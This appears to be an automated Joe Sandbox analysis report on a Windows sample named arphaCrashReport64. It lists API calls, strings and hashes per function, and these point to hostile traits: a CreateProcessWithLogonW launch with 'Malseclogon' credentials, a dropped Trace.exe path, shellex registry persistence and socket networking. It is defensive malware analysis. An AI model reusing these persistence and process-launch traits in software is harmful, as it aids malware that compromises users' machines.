Part of subcall function 00007FF73D1C8080: GetParent.USER32 ref: 00007FF73D1C80C8
Part of subcall function 00007FF73D1C8080: GetWindowRect.USER32 ref: 00007FF73D1C80E6
Part of subcall function 00007FF73D1C8080: GetWindowLongW.USER32 ref: 00007FF73D1C8103
Part of subcall function 00007FF73D1C8080: MonitorFromWindow.USER32 ref: 00007FF73D1C811F
Part of subcall function 00007FF73D1C8080: GetMonitorInfoW.USER32 ref: 00007FF73D1C813A
Part of subcall function 00007FF73D1C8080: SetWindowPos.USER32 ref: 00007FF73D1C8259

GetDlgItem.USER32 ref: 00007FF73D1CCDBE
ShowWindow.USER32 ref: 00007FF73D1CCDC9
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1CCDCF
PathStripPathW.SHLWAPI ref: 00007FF73D1CCE85
SetWindowTextW.USER32 ref: 00007FF73D1CCF71
GetDlgItem.USER32 ref: 00007FF73D1CCF7F
SendMessageW.USER32 ref: 00007FF73D1CCF99
SendMessageW.USER32 ref: 00007FF73D1CCFB3

Part of subcall function 00007FF73D1C2F40: FindResourceExW.KERNEL32 ref: 00007FF73D1C2F9D

Part of subcall function 00007FF73D1C2750: _CxxThrowException.LIBVCRUNTIME ref: 00007FF73D1C276C

IsWindow.USER32 ref: 00007FF73D1CD0C9
GetParent.USER32 ref: 00007FF73D1CD0D7
IsWindow.USER32 ref: 00007FF73D1CD0E0
GetParent.USER32 ref: 00007FF73D1CD0EE
EnableWindow.USER32 ref: 00007FF73D1CD0FC
DestroyWindow.USER32 ref: 00007FF73D1CD106

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Window$Parent$ItemLongMessageMonitorPathSend$DestroyDumpEnableExceptionFindFromInfoLocalRectResourceShowStripTextThrow
String ID:
API String ID: 1267546025-0
Opcode ID: 348fac252a4aef1dafe8e3b2d16a5a9dd828d8a4cf78c04bfdbeb9f54c8b2748
Instruction ID: ef07da70026d41edc9a8dac0d51837a33234ce0e1bb524f80aea76679fb34382
Opcode Fuzzy Hash: 348fac252a4aef1dafe8e3b2d16a5a9dd828d8a4cf78c04bfdbeb9f54c8b2748
Instruction Fuzzy Hash: AFB1D132B08A4B93EB00EBA5E45422DE3A0FB89FA4F814131DA9D47795EF7CD841D760

Function 000002177938F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 000002177938F3A0
GetCurrentThreadId.KERNEL32 ref: 000002177938F3A8
VirtualProtect.KERNEL32 ref: 000002177938F3CF
VirtualProtect.KERNEL32 ref: 000002177938F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 000002177938F450
VirtualProtect.KERNEL32 ref: 000002177938F475
VirtualProtect.KERNEL32 ref: 000002177938F49C
CloseHandle.KERNEL32 ref: 000002177938F4AC

Strings

MalseclogonUser, xrefs: 000002177938F43F
C:\Users\Public\Music\Trace.exe, xrefs: 000002177938F41D
MalseclogonPwd, xrefs: 000002177938F431
MalseclogonDomain, xrefs: 000002177938F438

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction ID: c1297ffab0b19bf34e97911e90e8d7b3a1e55827c4c731accaa220f84d253eac
Opcode Fuzzy Hash: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction Fuzzy Hash: 44311E32209B86A7DB20CF11F848BDAB7B8F798364F401115EB8943A64DF39D56ACB44

Function 0000021779396228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 0000021779396280

Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BEC2
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BED4
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BEE6
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BEF8
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF0A
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF1C
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF2E
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF40
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF52
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF64
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF79
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BF8E
Part of subcall function 000002177939BEA4: free.LIBCMT ref: 000002177939BFA3

free.LIBCMT ref: 0000021779396274

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

free.LIBCMT ref: 0000021779396296
__free_lconv_num.LIBCMT ref: 00000217793962A2
free.LIBCMT ref: 00000217793962AE
free.LIBCMT ref: 00000217793962BA
free.LIBCMT ref: 00000217793962DE
free.LIBCMT ref: 00000217793962F2
free.LIBCMT ref: 0000021779396301
free.LIBCMT ref: 000002177939630D
free.LIBCMT ref: 000002177939633A
free.LIBCMT ref: 0000021779396362
free.LIBCMT ref: 000002177939637C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: 7ab76233c1641cab876f3e7dc45890f16ae9f6f631424cc4668714b65fd0ae2b
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: 5E41027260BA4894FF55AF61D4693FCA3B0EBEDB7CF4824359A49562D5CF28C982C310

Function 000002177938F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00000217793938A4: GetSystemTimeAsFileTime.KERNEL32 ref: 00000217793938B2

Part of subcall function 0000021779394238: _getptd.LIBCMT ref: 0000021779394240

rand.LIBCMT ref: 000002177938F6D0

Part of subcall function 0000021779394250: _getptd.LIBCMT ref: 0000021779394254

lstrlen.KERNEL32 ref: 000002177938F720
lstrlen.KERNEL32 ref: 000002177938F77A
lstrlen.KERNEL32 ref: 000002177938F7A0
RegOpenKeyExA.ADVAPI32 ref: 000002177938F82C
RegSetValueExA.ADVAPI32 ref: 000002177938F852
RegSetValueExA.ADVAPI32 ref: 000002177938F87F
RegCloseKey.ADVAPI32 ref: 000002177938F88A

Strings

lpKey, xrefs: 000002177938F862
lpData, xrefs: 000002177938F83F
SOFTWARE\Classes\*\shellex, xrefs: 000002177938F810

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction ID: 4f940398b122f3717c638184b0326df28d3c361419740caf2d787e3a00aef1d0
Opcode Fuzzy Hash: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction Fuzzy Hash: 7351C27261AA8082EB10CF25F45979AF7B0F7E9BA4F446125EA8A47795DF3CC506CB00

Function 00000217790B0DC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790B0DF4
_getptd.LIBCMT ref: 00000217790B0E08
_getptd.LIBCMT ref: 00000217790B0E42
_getptd.LIBCMT ref: 00000217790B0E4E
_getptd.LIBCMT ref: 00000217790B0E5A
_CreateFrameInfo.LIBCMT ref: 00000217790B0E6F

Part of subcall function 00000217790B04C0: _getptd.LIBCMT ref: 00000217790B04CC
Part of subcall function 00000217790B04C0: _getptd.LIBCMT ref: 00000217790B04DA
Part of subcall function 00000217790B04C0: _getptd.LIBCMT ref: 00000217790B04EE

_getptd.LIBCMT ref: 00000217790B0E8D
_getptd.LIBCMT ref: 00000217790B0F93
_getptd.LIBCMT ref: 00000217790B0F9F

Strings

csm, xrefs: 00000217790B0F53

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: cf2dbb79ed3fa915b6e5dc17a9fc1c7464920040514a991b862fb972a319ca0b
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: F051647152DB468FD6A5EF189449BF5B3F0FBA9321F10056DE08DC3592D730A842C782

Function 00000217793A140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217793A143C

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_getptd.LIBCMT ref: 00000217793A1450
_getptd.LIBCMT ref: 00000217793A148A
_getptd.LIBCMT ref: 00000217793A1496
_getptd.LIBCMT ref: 00000217793A14A2
_CreateFrameInfo.LIBCMT ref: 00000217793A14B7

Part of subcall function 00000217793A0B08: _getptd.LIBCMT ref: 00000217793A0B14
Part of subcall function 00000217793A0B08: _getptd.LIBCMT ref: 00000217793A0B22
Part of subcall function 00000217793A0B08: _getptd.LIBCMT ref: 00000217793A0B36

_getptd.LIBCMT ref: 00000217793A14D5
_getptd.LIBCMT ref: 00000217793A15DB
_getptd.LIBCMT ref: 00000217793A15E7

Strings

csm, xrefs: 00000217793A159B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 5943b5c4fec825ce413ce40a8464a38028d05f5990de40ae131394bafedc657e
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: AD418D32109B8182E670DF16A4483EEB3B4F399BB4F155225EEAE07BC1DF34C0668700

Function 000002177939F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002177939F600
_invalid_parameter_noinfo.LIBCMT ref: 000002177939F60B
__wtomb_environ.LIBCMT ref: 000002177939F6ED
_errno.LIBCMT ref: 000002177939F6F6
free.LIBCMT ref: 000002177939F7E7
SetEnvironmentVariableA.KERNEL32 ref: 000002177939F918
_errno.LIBCMT ref: 000002177939F925
free.LIBCMT ref: 000002177939F933
free.LIBCMT ref: 000002177939F940
free.LIBCMT ref: 000002177939F967

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction ID: 64c1cfac0fed1a0f4702f7dedbe560c9969731966bc3b2fafee99aecd0d7a3b1
Opcode Fuzzy Hash: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction Fuzzy Hash: D1A1AF3630B74051FB51AF15AA093FAA6B4ABE8BFCF14A625DE59477D5DA38C8438300

Function 0000021779381AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381ADC
CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381AEB
CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381AFA
CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B0C
WSACleanup.WS2_32 ref: 0000021779381B12
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B29
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B4D
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B6F
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B9C
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381BB7
VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381BD2

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: 8a4133478ee752cd0524540ed82298576eba0f743d3f2bb3b2ef3c5a0a961562
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: C6313E3920BB0086EB99CF62D858758F3B9FFE8F95F045125DD8A42AE4DF38C4568310

Function 0000021779092F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 0000021779093134

Part of subcall function 00000217790A35D8: __getgmtimebuf.LIBCMT ref: 00000217790A35EA

Part of subcall function 00000217790A3620: _errno.LIBCMT ref: 00000217790A3658
Part of subcall function 00000217790A3620: _invalid_parameter_noinfo.LIBCMT ref: 00000217790A3664
Part of subcall function 00000217790A3620: _errno.LIBCMT ref: 00000217790A36D3

Strings

ameA, xrefs: 0000021779092FF5
serN, xrefs: 0000021779092FEB
Adva, xrefs: 0000021779093006
GetU, xrefs: 0000021779092FE1
2, xrefs: 0000021779092FD9
pi32, xrefs: 0000021779093010
.dll, xrefs: 000002177909301A
2, xrefs: 0000021779092F84

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: 3cd9a2b2757c5aa0b628e1f4fb42c18ca9f081cc3eae0d5b81d301892c0caa50
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: E2A1DA311196498FE766EF28D85C7EEB7E1FBA4320F50422AE446C71E2DF349646CB81

Function 0000021779382CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021779382D0C
GetProcAddress.KERNEL32 ref: 0000021779382D24
GetProcAddress.KERNEL32 ref: 0000021779382D37
GetProcAddress.KERNEL32 ref: 0000021779382D47
FreeLibrary.KERNEL32 ref: 0000021779382D85

Part of subcall function 0000021779382BA0: LoadLibraryA.KERNEL32 ref: 0000021779382BD6
Part of subcall function 0000021779382BA0: GetProcAddress.KERNEL32 ref: 0000021779382BEE
Part of subcall function 0000021779382BA0: GetProcAddress.KERNEL32 ref: 0000021779382C01
Part of subcall function 0000021779382BA0: GetProcAddress.KERNEL32 ref: 0000021779382C16
Part of subcall function 0000021779382BA0: GetProcAddress.KERNEL32 ref: 0000021779382C29
Part of subcall function 0000021779382BA0: LoadLibraryA.KERNEL32 ref: 0000021779382C39
Part of subcall function 0000021779382BA0: GetProcAddress.KERNEL32 ref: 0000021779382C51
Part of subcall function 0000021779382BA0: FreeLibrary.KERNEL32 ref: 0000021779382CA9
Part of subcall function 0000021779382BA0: FreeLibrary.KERNEL32 ref: 0000021779382CB7

Strings

user32.dll, xrefs: 0000021779382D05
OpenDesktopA, xrefs: 0000021779382D2D
OpenInputDesktop, xrefs: 0000021779382D1A
CloseDesktop, xrefs: 0000021779382D3D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: c7bc22194fdb715b6abc2c7ac94afa46f1c8cb2cdc8f9fa66d567842b2b7830f
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 0711183461BB4182EA449F16A8586A9F3B0FBEDBE0F482025ED4A43B98DF28C5478300

Function 000002177939C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 000002177939C6F7

Part of subcall function 0000021779399FFC: GetLastError.KERNEL32 ref: 000002177939A060
Part of subcall function 0000021779399FFC: free.LIBCMT ref: 000002177939A0DE

free.LIBCMT ref: 000002177939C8BF
free.LIBCMT ref: 000002177939C8CF
free.LIBCMT ref: 000002177939C8DF
free.LIBCMT ref: 000002177939C8EB
free.LIBCMT ref: 000002177939C940
free.LIBCMT ref: 000002177939C948
free.LIBCMT ref: 000002177939C950
free.LIBCMT ref: 000002177939C958
free.LIBCMT ref: 000002177939C962

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction ID: 396f2045a60b455ebe0979acbdf0e55860949971712cc3077686f053d56f716d
Opcode Fuzzy Hash: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction Fuzzy Hash: 8AB1D27220A6808AE710CF29E0583EDB7B5F79DB78F846125EA9D877D5DB39C542CB00

Function 000002177939F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939F4AE), ref: 000002177939F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939F4AE), ref: 000002177939F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939F4AE), ref: 000002177939F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939F4AE), ref: 000002177939F343

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction ID: d2c5319df0fadd8df97e8410895d4386ef264571f0760c8fd1f34aeabff5d5b3
Opcode Fuzzy Hash: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction Fuzzy Hash: D1A1E27670E68046EB209F25940A3FAA6F2F7E87BCF446616EA69477C4DB34CC42C340

Function 000002177939A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A72A
malloc.LIBCMT ref: 000002177939A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A836
malloc.LIBCMT ref: 000002177939A893

Part of subcall function 0000021779395728: _FF_MSGBANNER.LIBCMT ref: 0000021779395758
Part of subcall function 0000021779395728: RtlAllocateHeap.NTDLL ref: 000002177939577D
Part of subcall function 0000021779395728: _callnewh.LIBCMT ref: 0000021779395796
Part of subcall function 0000021779395728: _errno.LIBCMT ref: 00000217793957A1
Part of subcall function 0000021779395728: _errno.LIBCMT ref: 00000217793957AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,000002177939A9CD), ref: 000002177939A908
free.LIBCMT ref: 000002177939A91C
free.LIBCMT ref: 000002177939A92D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction ID: d1331e94a7a16c44dfcfc7ecf642840f6f85ab17a2c97cbecd94e2aaa96d9022
Opcode Fuzzy Hash: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction Fuzzy Hash: 2381A73220E74086EB648F6594483E9B6F5F7AC7BCF545715DAA983BD4DB38C9428700

Function 000002177938E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00000217793819A0: WSAStartup.WS2_32 ref: 0000021779381A19
Part of subcall function 00000217793819A0: CreateEventA.KERNEL32 ref: 0000021779381A2A

Part of subcall function 0000021779381BF0: ResetEvent.KERNEL32 ref: 0000021779381C2D
Part of subcall function 0000021779381BF0: timeGetTime.WINMM ref: 0000021779381C3F
Part of subcall function 0000021779381BF0: socket.WS2_32 ref: 0000021779381C66

CreateEventA.KERNEL32 ref: 000002177938E32E
setsockopt.WS2_32 ref: 000002177938E383
CancelIo.KERNEL32 ref: 000002177938E38D
closesocket.WS2_32 ref: 000002177938E3A1
SetEvent.KERNEL32 ref: 000002177938E3AE
WaitForSingleObject.KERNEL32 ref: 000002177938E40D
Sleep.KERNEL32 ref: 000002177938E418
WaitForSingleObject.KERNEL32 ref: 000002177938E42B
WaitForSingleObject.KERNEL32 ref: 000002177938E438
Sleep.KERNEL32 ref: 000002177938E44E

Part of subcall function 0000021779381AC0: Sleep.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381ADC
Part of subcall function 0000021779381AC0: CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381AEB
Part of subcall function 0000021779381AC0: CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381AFA
Part of subcall function 0000021779381AC0: CloseHandle.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B0C
Part of subcall function 0000021779381AC0: WSACleanup.WS2_32 ref: 0000021779381B12
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B29
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B4D
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B6F
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381B9C
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381BB7
Part of subcall function 0000021779381AC0: VirtualFree.KERNEL32(?,?,?,0000021779381AA4), ref: 0000021779381BD2

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
